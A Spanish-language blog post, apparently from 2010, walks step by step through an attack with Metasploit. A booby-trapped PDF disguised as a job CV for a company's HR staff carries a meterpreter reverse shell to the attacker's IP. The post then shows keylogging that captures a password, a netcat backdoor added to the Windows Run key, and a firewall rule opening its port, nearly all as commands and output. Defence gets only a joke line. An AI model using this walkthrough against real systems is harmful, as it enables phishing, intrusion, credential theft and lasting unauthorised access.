Buscar este blog

asalto completo con metasploit

Asalto completo con metasploit

bueno vamos a ver un ejemplo de un asalto completo desarrollado enteramente con metasploit para
que veamos la potencia de esta maravillosa herramienta en su maximo esplendor, y uno de sus
mas potentes PAYLOAD -----METERPETER.

Lo primero que haremos sera preparar un pdf maligno que posteriormente mandaremos por email
el cual no solo parecera legitimo ,engañara al admin sino que tanbien engañara alos antivirus y sorteara el firewall.
Manos a la obra.

comenzaremos cargando msfconsole:
debian:~# cd /opt/metasploit3/msf3/
debian:/opt/metasploit3/msf3# ./msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 584 exploits - 297 auxiliary
+ -- --=[ 219 payloads - 27 encoders - 8 nops
       =[ svn r10182 updated today (2010.08.29)

msf >

Vamos a usar el Adobe Reader "util.printf()" JavaScript Function Stack Buffer Overflow Vulnerability..
Adobe Reader es propenso a una vulnerabilidad de desboradmiento de buffer basado en la pila debido que la aplicacion no realiza una revision de los limites adecuados de los datos proporcionados por el usuario.
Un atacante puede explotar este problema ejecutando codigo arbitrario con los privilegios del usuario ejecutando la aplicacion o cerrar la aplicacion, denegando el servicio a los usuarios legitimos.
Deciros que el bug esta corregido en las ultimas versiones de A Reader apartir de la V9 creo, pero hay mil fallas de FILE FORMAT (photoshop,word,office,excel,corel) por hay y mucho ADMIN perraco que no actualiza los sistemas (benditos).
empezamos a crear muesta bomba de mano.
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) > show options

Module options:

   Name        Current Setting                      Required  Description
   ----        ---------------                      --------  -----------
   FILENAME    msf.pdf                              yes       The file name.
   OUTPUTPATH  /opt/metasploit3/msf3/data/exploits  yes       The location of the file.


Exploit target:

   Id  Name
   --  ----
   0   Adobe Reader v8.1.2 (Windows XP SP3 English)
vamos a rellenar las opciones FILENAME Y OUTPUTPATH con curriculum.pdf (no olvideis que estoy buscando trabajo)
y /temp para encontrar rapidamente el archivo resultante.

msf exploit(adobe_utilprintf) > set FILENAME curriculum.pdf
FILENAME => curriculum.pdf
msf exploit(adobe_utilprintf) > set OUTPUTPATH /tmp
OUTPUTPATH => /tmp
selecionamos meterpeter reverse tcp como payload y retocamos las opciones que queremos LHOST que sera nuestra ip publica y el puerto que lo dejaremos tal cual (recordar que tendremos que abrir ese puerto al mundo si queremos que valla la movida)
msf exploit(adobe_utilprintf) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(adobe_utilprintf) > show options
Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FILENAME    curriculum.pdf   yes       The file name.
   OUTPUTPATH  /tmp             yes       The location of the file.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Adobe Reader v8.1.2 (Windows XP SP3 English)


msf exploit(adobe_utilprintf) > set LHOST 84.121.248.54
LHOST => 84.121.248.54
msf exploit(adobe_utilprintf) > show options

nuestro exploit quedaria tal cual:
Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FILENAME    curriculum.pdf   yes       The file name.
   OUTPUTPATH  /tmp             yes       The location of the file.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LHOST    84.121.248.54     yes       The listen address
   LPORT     4444             yes       The listen port

una vez echo esto lanzamos el exploit:

msf exploit(adobe_utilprintf) > exploit

[*] Started reverse handler on 84.121.248.54:4444
[*] Creating 'curriculum.pdf' file...
[*] Generated output file /tmp/curriculum.pdf
[*] Exploit completed, but no session was created.
msf exploit(adobe_utilprintf) >

con un editor pdf rellenamos el documento y se lo mandamos ala empresa en LA QUE NO QUERRAMOS TRABAJAR.
acotinuacion preparamos el hanler de conexion en nuextra maquina.

msf exploit(adobe_utilprintf) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

mas de lo mismo rellenamos la opcion LHOST con nuestra ip pero AHORA LA IP PRIVADA (muy importante)
msf exploit(handler) > set LHOST 192.168.0.11
LHOST => 192.168.0.11
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.0.11:4444
[*] Starting the payload handler...


nuestro sistema se queda a la escucha....

RRHH de LA EMPRESA pega curriculum.pdf en su escritorio y lo escanea con su antivirus preferido y pasa a abrirlo y BOILA!!!


[*] Started reverse handler on 192.168.0.11:4444
[*] Starting the payload handler...
[*] Sending stage (748544 bytes) to 84.121.238.0
[*] Meterpreter session 1 opened (192.168.0.11:4444 -> 84.121.238.0:1464) at Mon Aug 30 16:46:28 +0200 2010

meterpreter >

ya tenemos sesion ahora hay que actuar rapidamente antes de que cierren el PDF sino se nos cerrara la sesion :

miramos los procesos abiertos y migramos meterpeter a un proceso seguro


meterpreter > ps

Process list
============

 PID   Name                       Arch  Session  User                 Path
 ---   ----                       ----  -------  ----                 ----
 0     [System Process]                                              
 4     System                     x86   0                            
 452   smss.exe                   x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 UTHORITY\SYSTEM  C:\Archivos de programa\BrowserZinc\browserzinc.exe
 2388  IAAnotif.exe               x86   0        CHIKITIN\media       C:\Archivos de programa\Intel\Intel Matrix Storage Manager\iaanotif.exe
 2396  LManager.exe               x86   0        CHIKITIN\media       C:\ARCHIV~1\LAUNCH~1\LManager.exe
 2476  igfxtray.exe               x86   0        CHIKITIN\media       C:\WINDOWS\system32\igfxtray.exe
 2492  hkcmd.exe                  x86   0        CHIKITIN\media       C:\WINDOWS\system32\hkcmd.exe
 2508  igfxpers.exe               x86   0        CHIKITIN\media       C:\WINDOWS\system32\igfxpers.exe
 2532  igfxsrvc.exe               x86   0        CHIKITIN\media       C:\WINDOWS\system32\igfxsrvc.exe
 2540  RTHDCPL.EXE                x86   0        CHIKITIN\media       C:\WINDOWS\RTHDCPL.EXE
 2640  GoogleDesktop.exe          x86   0        CHIKITIN\media       C:\Archivos de programa\Google\Google Desktop Search\GoogleDesktop.exe
 2768  SynTPEnh.exe               x86   0        CHIKITIN\media       C:\Archivos de programa\Synaptics\SynTP\SynTPEnh.exe
 2820  rundll32.exe               x86   0        CHIKITIN\media       C:\WINDOWS\system32\rundll32.exe
 2828  M3000Mnt.exe               x86   0        CHIKITIN\media       C:\WINDOWS\WebCam\M3000\M3000Mnt.exe
 2844  ctfmon.exe                 x86   0        CHIKITIN\media       C:\WINDOWS\system32\ctfmon.exe
 2880  igfxext.exe                x86   0        CHIKITIN\media       C:\WINDOWS\system32\igfxext.exe
 2972  GoogleToolbarNotifier.exe  x86   0        CHIKITIN\media       C:\Archivos de programa\Google\GoogleToolbarNotifier\GoogleToolbarNotifier.exe
 3036  msnmsgr.exe                x86   0        CHIKITIN\media       C:\Archivos de programa\Windows Live\Messenger\msnmsgr.exe
 3240  msmsgs.exe                 x86   0        CHIKITIN\media       C:\Archivos de programa\Messenger\msmsgs.e

meterpreter > migrate 3036
[*] Migrating to 3036...
[*] Migration completed successfully.

meterpreter >
veamos algunas opciones de meterpeter
meterpreter > sysinfo
Computer: CHIKITIN
OS      : Windows XP (Build 2600, Service Pack 3).
Arch    : x86
Language: es_ES
ahora cargaremos un  keyloger y cuando llamemos a keyscan_dump nos dara el resultado:

meterpreter > use priv
Loading extension priv...success.
meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
fgfg
meterpreter > keyscan_dump
Dumping captured keystrokes...
password mecacuela
meterpreter >

meterpeter tiene muchisimas posibilidades como vemos...disparar scrips en la victima ,habilitar el servicio escritorio remoto .....

ahora lo que vamos a hacer es asegurarnos un BACKDOOR para nuestras futuras idas y venidas al sistema
como e dicho antes podriamos disparar el Remote Desktop pero es algo cantoso y demasiado visual para mi.
utilizaremos una herramienta archi conocida el Netcat la navaja suiza..y ademas tendremos que hacer 
cambios en el registro y el firewall.

subimos el netcat que prebiamente nos emos descargado en nuestro directorio /tmp al ordenador abordado diciendole la ruda donde guardarlo:

meterpreter > upload /tmp/nc.exe C:\\windows\\system32
[*] uploading  : /tmp/nc.exe -> C:\windows\system32
[*] uploaded   : /tmp/nc.exe -> C:\windows\system32\nc.exe
meterpreter >
jeje ya esta como veis meterpeter es muy potente y versatil seguimos......
Ahora modificaremos el registro para que ejecute netcat cuando se inicie la maquina y que espere siempre de puertas abiertas en el puerto 455. Esto lo conseguimos modificando la siguiente clave en el registro: HKLM\software\microsoft\
windows\currentversion\run .

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Keys (1):

    OptionalComponents

  Values (19):

    IAAnotif
    LManager
    IgfxTray
    HotKeysCmds
    Persistence
    RTHDCPL
    Alcmtr
    AzMixerSel
    Google Desktop Search
    Adobe Reader Speed Launcher
    IMJPMIG8.1
    MSPY2002
    PHIME2002ASync
    PHIME2002A
    M3000Mnt
    SynTPEnh
    mcagent_exe
    BluetoothAuthenticationAgent
    Internet Connection Wizard Task

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d "C:\windows\system32\nc.exe -Ldp 455 -e cmd.exe"
Successful set nc.
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: nc
Type: REG_SZ
Data: C:windowssystem32nc.exe -Ldp 455 -e cmd.exe
meterpreter >
A continuación, tenemos que modificar un poco el sistema y darle permisos al firewal... abriremos una consola dos y con nestsh lo haremos a pelo..

meterpreter > execute -f cmd -i
Process 3280 created.
Channel 2 created.
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\media>netsh firewall show opmode
netsh firewall show opmode

Configuraci�n del perfil Dominio:
-------------------------------------------------------------------
Modo funcional                                = Habilitar
Modo de excepci�n                             = Habilitar

Configuraci�n del perfil Est�ndar (actual):
-------------------------------------------------------------------
Modo funcional                                = Deshabilitar
Modo de excepci�n                             = Habilitar

Configuraci�n del servidor de seguridad Conexiones de red inal�mbricas:
-------------------------------------------------------------------
Modo funcional                                = Habilitar

Configuraci�n del servidor de seguridad Conexi�n de �rea local:
-------------------------------------------------------------------
Modo funcional                                = Habilitar

abrimos el puerto 445

C:\Documents and Settings\media>netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
Aceptar

comprobamos si esta abierto...
C:\Documents and Settings\media>netsh firewall show portopening
netsh firewall show portopening

Configuraci�n de puerto para el perfil Dominio:
Puerto Protocolo Modo          Nombre
-------------------------------------------------------------------
139    TCP       Habilitar     Servicio de sesi�n de NetBIOS
445    TCP       Habilitar     SMP sobre TCP
137    UDP       Habilitar     Servicio de nombres de NetBIOS
138    UDP       Habilitar     Servicio de datagramas de NetBIOS

Configuraci�n de puerto para el perfil Est�ndar:
Puerto Protocolo Modo          Nombre
-------------------------------------------------------------------
455    TCP       Habilitar     Service Firewall

ok ya ta al lio reiniciamos la victima y ya tenemos un backdoor pa nosotros y para todo dios
seria mejor con un password pero soy un clasicon .....

solo nos quedaria conectarnos con nc .....que creo que no voy a explicar que se a echo esto mu largo y pesao...

CONTRAMEDIDA::::::::: estar actualizado y echar un padre nuestro

un saludo